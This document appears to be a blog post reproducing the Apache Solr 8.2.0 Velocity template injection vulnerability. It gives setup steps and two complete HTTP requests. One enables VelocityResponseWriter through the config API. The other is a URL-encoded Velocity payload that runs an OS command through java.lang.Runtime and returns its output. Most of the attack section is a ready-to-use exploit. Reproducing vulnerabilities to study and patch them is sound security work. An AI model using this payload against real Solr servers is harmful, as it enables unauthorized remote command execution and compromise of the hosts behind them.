Solr 8.2.0 latest RCE vulnerability reproduction

Vulnerability Description

Foreign security researcher s00py discloses a Velocity template Apache Solr injection vulnerability. The vulnerability can attack the latest version of Solr.

Vulnerability ID

Sphere of influence

Including but not limited to, 8.2.0 (the latest version 20191031)

Vulnerability reproduction

Download
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
unzip into the solr-8.2.0 / bin directory of the installation

./solr -e dih -force //开启示例app

Access main page http://127.0.0.1:8983/solr/#/

Click on the left Core Selector to view the collection name
to a collection of mail, for example
1. Modify collection setting

POST /solr/mail/config HTTP/1.1
Host: 192.168.30.100:8983
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

2. The command (command exec ( 'id') position)

GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.30.100:8983
Content-Length: 309

Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close

reference

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
and other early warning platform